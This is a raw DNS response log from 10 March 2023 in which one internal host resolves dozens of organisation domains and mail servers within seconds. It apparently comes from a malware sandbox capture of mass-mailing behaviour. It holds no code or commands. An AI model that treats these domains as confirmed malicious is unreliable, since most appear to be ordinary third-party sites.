Mar 10, 2023 07:55:38.685566902 CET	8.8.8.8	192.168.2.6	0xfda2	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.689805984 CET	8.8.8.8	192.168.2.6	0xc175	No error (0)	dyag-eng.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.697933912 CET	8.8.8.8	192.168.2.6	0xf154	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.724999905 CET	8.8.8.8	192.168.2.6	0xea19	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.732264996 CET	8.8.8.8	192.168.2.6	0x339d	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.732264996 CET	8.8.8.8	192.168.2.6	0x339d	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.732264996 CET	8.8.8.8	192.168.2.6	0x339d	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.734271049 CET	8.8.8.8	192.168.2.6	0x1dce	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.734271049 CET	8.8.8.8	192.168.2.6	0x1dce	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.734271049 CET	8.8.8.8	192.168.2.6	0x1dce	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.819950104 CET	8.8.8.8	192.168.2.6	0xde28	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.911674023 CET	8.8.8.8	192.168.2.6	0x6fc	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.923530102 CET	8.8.8.8	192.168.2.6	0x1bc2	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.937952995 CET	8.8.8.8	192.168.2.6	0x5d2c	No error (0)	vfcindia.com		68.71.135.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.164875984 CET	8.8.8.8	192.168.2.6	0x480b	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.306998968 CET	8.8.8.8	192.168.2.6	0xe767	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.504775047 CET	8.8.8.8	192.168.2.6	0x3c30	No error (0)	karila.fr		89.107.169.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.504800081 CET	8.8.8.8	192.168.2.6	0xdee7	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.504800081 CET	8.8.8.8	192.168.2.6	0xdee7	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.506634951 CET	8.8.8.8	192.168.2.6	0xc6d5	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.509635925 CET	8.8.8.8	192.168.2.6	0x1e4e	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.512705088 CET	8.8.8.8	192.168.2.6	0x41fa	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.521749973 CET	8.8.8.8	192.168.2.6	0x9c30	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.525849104 CET	8.8.8.8	192.168.2.6	0x9e7d	No error (0)	bount.com.tw		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.525849104 CET	8.8.8.8	192.168.2.6	0x9e7d	No error (0)	bount.com.tw		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.531658888 CET	8.8.8.8	192.168.2.6	0x969d	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.531658888 CET	8.8.8.8	192.168.2.6	0x969d	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.568840981 CET	8.8.8.8	192.168.2.6	0xbe28	No error (0)	shittas.com		43.246.117.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.598067999 CET	8.8.8.8	192.168.2.6	0x96fb	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.598835945 CET	8.8.8.8	192.168.2.6	0x2011	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.610318899 CET	8.8.8.8	192.168.2.6	0xaf65	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.647483110 CET	8.8.8.8	192.168.2.6	0xddda	No error (0)	gmail-smtp-in.l.google.com		142.250.27.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.650938034 CET	8.8.8.8	192.168.2.6	0x3ca4	No error (0)	mjrcpas.com		154.81.136.239	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.692740917 CET	8.8.8.8	192.168.2.6	0x762b	No error (0)	sinwal.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.692740917 CET	8.8.8.8	192.168.2.6	0x762b	No error (0)	sinwal.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.711208105 CET	8.8.8.8	192.168.2.6	0x1ab9	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.721090078 CET	8.8.8.8	192.168.2.6	0xe8d0	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.721930027 CET	8.8.8.8	192.168.2.6	0xadd5	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.779295921 CET	8.8.8.8	192.168.2.6	0x7872	No error (0)	k-nikko.com		18.177.67.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.797246933 CET	8.8.8.8	192.168.2.6	0xe460	No error (0)	in1.smtp.messaginguser.com		66.111.4.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.797246933 CET	8.8.8.8	192.168.2.6	0xe460	No error (0)	in1.smtp.messaginguser.com		66.111.4.71	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.797246933 CET	8.8.8.8	192.168.2.6	0xe460	No error (0)	in1.smtp.messaginguser.com		66.111.4.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.797246933 CET	8.8.8.8	192.168.2.6	0xe460	No error (0)	in1.smtp.messaginguser.com		66.111.4.74	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.797246933 CET	8.8.8.8	192.168.2.6	0xe460	No error (0)	in1.smtp.messaginguser.com		66.111.4.73	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.797246933 CET	8.8.8.8	192.168.2.6	0xe460	No error (0)	in1.smtp.messaginguser.com		66.111.4.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.816515923 CET	8.8.8.8	192.168.2.6	0x2b6d	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.824697971 CET	8.8.8.8	192.168.2.6	0x5c01	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.824697971 CET	8.8.8.8	192.168.2.6	0x5c01	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.824697971 CET	8.8.8.8	192.168.2.6	0x5c01	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.830919981 CET	8.8.8.8	192.168.2.6	0x3472	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.839375973 CET	8.8.8.8	192.168.2.6	0x2dfa	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.851104975 CET	8.8.8.8	192.168.2.6	0x8011	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.857650995 CET	8.8.8.8	192.168.2.6	0xd2e4	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.952789068 CET	8.8.8.8	192.168.2.6	0xeeb9	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:39.971898079 CET	8.8.8.8	192.168.2.6	0xfa7b	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.075814009 CET	8.8.8.8	192.168.2.6	0xfa7b	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.107026100 CET	8.8.8.8	192.168.2.6	0x3379	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.113059044 CET	8.8.8.8	192.168.2.6	0xc23c	No error (0)	oh28ya.com		54.250.32.94	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.113059044 CET	8.8.8.8	192.168.2.6	0xc23c	No error (0)	oh28ya.com		18.182.136.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.305351019 CET	8.8.8.8	192.168.2.6	0x64d3	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:40.305351019 CET	8.8.8.8	192.168.2.6	0x64d3	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.373888969 CET	8.8.8.8	192.168.2.6	0x2989	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.373888969 CET	8.8.8.8	192.168.2.6	0x2989	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.557560921 CET	8.8.8.8	192.168.2.6	0xf758	No error (0)	adeesa.net		172.67.209.11	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.557560921 CET	8.8.8.8	192.168.2.6	0xf758	No error (0)	adeesa.net		104.21.77.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.668098927 CET	8.8.8.8	192.168.2.6	0x8afe	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:40.988611937 CET	8.8.8.8	192.168.2.6	0x8510	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.000073910 CET	8.8.8.8	192.168.2.6	0x20ef	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.187484980 CET	8.8.8.8	192.168.2.6	0x1f70	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.255248070 CET	8.8.8.8	192.168.2.6	0x7a3a	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.334863901 CET	8.8.8.8	192.168.2.6	0x6805	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:41.334863901 CET	8.8.8.8	192.168.2.6	0x6805	No error (0)	smtp.mail.global.gm0.yahoodns.net		87.248.97.36	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.716882944 CET	8.8.8.8	192.168.2.6	0x8961	No error (0)	plaske.ua		52.211.245.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.731385946 CET	8.8.8.8	192.168.2.6	0x5122	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.955750942 CET	8.8.8.8	192.168.2.6	0xb1fb	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:41.979823112 CET	8.8.8.8	192.168.2.6	0x57d0	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:43.446059942 CET	8.8.8.8	192.168.2.6	0xede7	No error (0)	cpmteam.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:43.446059942 CET	8.8.8.8	192.168.2.6	0xede7	No error (0)	cpmteam.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.496342897 CET	8.8.8.8	192.168.2.6	0xcb0b	No error (0)	nels.co.uk		5.134.13.210	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.639976978 CET	8.8.8.8	192.168.2.6	0xa0e0	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.643057108 CET	8.8.8.8	192.168.2.6	0xebab	No error (0)	smtp.sbcglobal.yahoo.com	smtp-sbc.mail.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:46.643057108 CET	8.8.8.8	192.168.2.6	0xebab	No error (0)	smtp-sbc.mail.yahoo.com	smtp1.sbc.mail.am0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:46.643057108 CET	8.8.8.8	192.168.2.6	0xebab	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.163.170.48	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.643057108 CET	8.8.8.8	192.168.2.6	0xebab	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.218.88.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.643057108 CET	8.8.8.8	192.168.2.6	0xebab	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		67.195.12.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.736363888 CET	8.8.8.8	192.168.2.6	0x3402	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.736363888 CET	8.8.8.8	192.168.2.6	0x3402	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.736363888 CET	8.8.8.8	192.168.2.6	0x3402	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.819108963 CET	8.8.8.8	192.168.2.6	0x7f98	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.819108963 CET	8.8.8.8	192.168.2.6	0x7f98	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.828206062 CET	8.8.8.8	192.168.2.6	0x57d5	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.869970083 CET	8.8.8.8	192.168.2.6	0x2682	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.916019917 CET	8.8.8.8	192.168.2.6	0xb59e	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.922003031 CET	8.8.8.8	192.168.2.6	0xad3	No error (0)	shesfit.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.922003031 CET	8.8.8.8	192.168.2.6	0xad3	No error (0)	shesfit.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:46.970397949 CET	8.8.8.8	192.168.2.6	0xe77a	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.011146069 CET	8.8.8.8	192.168.2.6	0x9d5b	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.025055885 CET	8.8.8.8	192.168.2.6	0xf51a	No error (0)	shittas.com		43.246.117.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.046571970 CET	8.8.8.8	192.168.2.6	0x1fd2	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.075043917 CET	8.8.8.8	192.168.2.6	0x3e6c	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.075043917 CET	8.8.8.8	192.168.2.6	0x3e6c	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.075043917 CET	8.8.8.8	192.168.2.6	0x3e6c	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.075043917 CET	8.8.8.8	192.168.2.6	0x3e6c	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.085421085 CET	8.8.8.8	192.168.2.6	0xa6ec	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.085421085 CET	8.8.8.8	192.168.2.6	0xa6ec	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.085421085 CET	8.8.8.8	192.168.2.6	0xa6ec	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.085421085 CET	8.8.8.8	192.168.2.6	0xa6ec	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.108649969 CET	8.8.8.8	192.168.2.6	0xe64b	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.145175934 CET	8.8.8.8	192.168.2.6	0xec33	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.192430019 CET	8.8.8.8	192.168.2.6	0x1df7	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.593283892 CET	8.8.8.8	192.168.2.6	0x6355	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.593283892 CET	8.8.8.8	192.168.2.6	0x6355	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.602257967 CET	8.8.8.8	192.168.2.6	0x60b4	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.749629021 CET	8.8.8.8	192.168.2.6	0xe2ca	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.818594933 CET	8.8.8.8	192.168.2.6	0x529c	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:47.818594933 CET	8.8.8.8	192.168.2.6	0x529c	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.059536934 CET	8.8.8.8	192.168.2.6	0x880b	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.351121902 CET	8.8.8.8	192.168.2.6	0x7e9a	No error (0)	burstner.ru		52.50.65.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.359914064 CET	8.8.8.8	192.168.2.6	0xa2cc	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.591905117 CET	8.8.8.8	192.168.2.6	0x87e8	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.594847918 CET	8.8.8.8	192.168.2.6	0xe6e2	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.594847918 CET	8.8.8.8	192.168.2.6	0xe6e2	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.636661053 CET	8.8.8.8	192.168.2.6	0x275d	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.679815054 CET	8.8.8.8	192.168.2.6	0xf9ab	No error (0)	bd-style.com		107.165.223.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.689872026 CET	8.8.8.8	192.168.2.6	0x6604	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.689872026 CET	8.8.8.8	192.168.2.6	0x6604	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.698426962 CET	8.8.8.8	192.168.2.6	0x37f5	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.698426962 CET	8.8.8.8	192.168.2.6	0x37f5	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.699724913 CET	8.8.8.8	192.168.2.6	0x5256	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.699724913 CET	8.8.8.8	192.168.2.6	0x5256	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.699760914 CET	8.8.8.8	192.168.2.6	0x50f6	No error (0)	msl-lock.com		165.160.15.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:48.699760914 CET	8.8.8.8	192.168.2.6	0x50f6	No error (0)	msl-lock.com		165.160.13.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.091877937 CET	8.8.8.8	192.168.2.6	0x35e1	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.153152943 CET	8.8.8.8	192.168.2.6	0x880b	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.298610926 CET	8.8.8.8	192.168.2.6	0x4a45	No error (0)	gmail-smtp-in.l.google.com		142.250.27.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.325337887 CET	8.8.8.8	192.168.2.6	0x5b26	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.325421095 CET	8.8.8.8	192.168.2.6	0xc1b2	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.370398045 CET	8.8.8.8	192.168.2.6	0x16e9	No error (0)	mondopp.net		173.231.184.124	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.450786114 CET	8.8.8.8	192.168.2.6	0xa2b2	No error (0)	in1.smtp.messaginguser.com		66.111.4.71	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.450786114 CET	8.8.8.8	192.168.2.6	0xa2b2	No error (0)	in1.smtp.messaginguser.com		66.111.4.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.450786114 CET	8.8.8.8	192.168.2.6	0xa2b2	No error (0)	in1.smtp.messaginguser.com		66.111.4.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.450786114 CET	8.8.8.8	192.168.2.6	0xa2b2	No error (0)	in1.smtp.messaginguser.com		66.111.4.73	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.450786114 CET	8.8.8.8	192.168.2.6	0xa2b2	No error (0)	in1.smtp.messaginguser.com		66.111.4.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.450786114 CET	8.8.8.8	192.168.2.6	0xa2b2	No error (0)	in1.smtp.messaginguser.com		66.111.4.74	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.459801912 CET	8.8.8.8	192.168.2.6	0xf65f	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.555046082 CET	8.8.8.8	192.168.2.6	0xc9c1	No error (0)	wanoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.555046082 CET	8.8.8.8	192.168.2.6	0xc9c1	No error (0)	wanoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.591461897 CET	8.8.8.8	192.168.2.6	0x604	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.621845961 CET	8.8.8.8	192.168.2.6	0x26a5	No error (0)	gcss.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.666100979 CET	8.8.8.8	192.168.2.6	0xb486	No error (0)	oh28ya.com		54.250.32.94	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.666100979 CET	8.8.8.8	192.168.2.6	0xb486	No error (0)	oh28ya.com		18.182.136.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.667659998 CET	8.8.8.8	192.168.2.6	0xe5c1	No error (0)	sigtoa.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.667659998 CET	8.8.8.8	192.168.2.6	0xe5c1	No error (0)	sigtoa.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.679929018 CET	8.8.8.8	192.168.2.6	0x32d9	No error (0)	geecl.com		213.175.217.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.737358093 CET	8.8.8.8	192.168.2.6	0xc567	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.737358093 CET	8.8.8.8	192.168.2.6	0xc567	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.737358093 CET	8.8.8.8	192.168.2.6	0xc567	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.762074947 CET	8.8.8.8	192.168.2.6	0xb78c	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.792932987 CET	8.8.8.8	192.168.2.6	0x59eb	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.797235966 CET	8.8.8.8	192.168.2.6	0xc6ba	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.797235966 CET	8.8.8.8	192.168.2.6	0xc6ba	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.797235966 CET	8.8.8.8	192.168.2.6	0xc6ba	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.935616016 CET	8.8.8.8	192.168.2.6	0xa565	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.945936918 CET	8.8.8.8	192.168.2.6	0x2b79	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:49.974499941 CET	8.8.8.8	192.168.2.6	0x59d1	No error (0)	4locals.net		80.82.115.227	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.033181906 CET	8.8.8.8	192.168.2.6	0xa1a8	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.036708117 CET	8.8.8.8	192.168.2.6	0xc791	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.064269066 CET	8.8.8.8	192.168.2.6	0xaf18	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.071615934 CET	8.8.8.8	192.168.2.6	0xceba	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.071615934 CET	8.8.8.8	192.168.2.6	0xceba	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.102227926 CET	8.8.8.8	192.168.2.6	0xa2a6	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.111295938 CET	8.8.8.8	192.168.2.6	0xb5ee	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.127675056 CET	8.8.8.8	192.168.2.6	0xeeb1	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.130220890 CET	8.8.8.8	192.168.2.6	0x9eb7	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.145914078 CET	8.8.8.8	192.168.2.6	0xaf1b	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
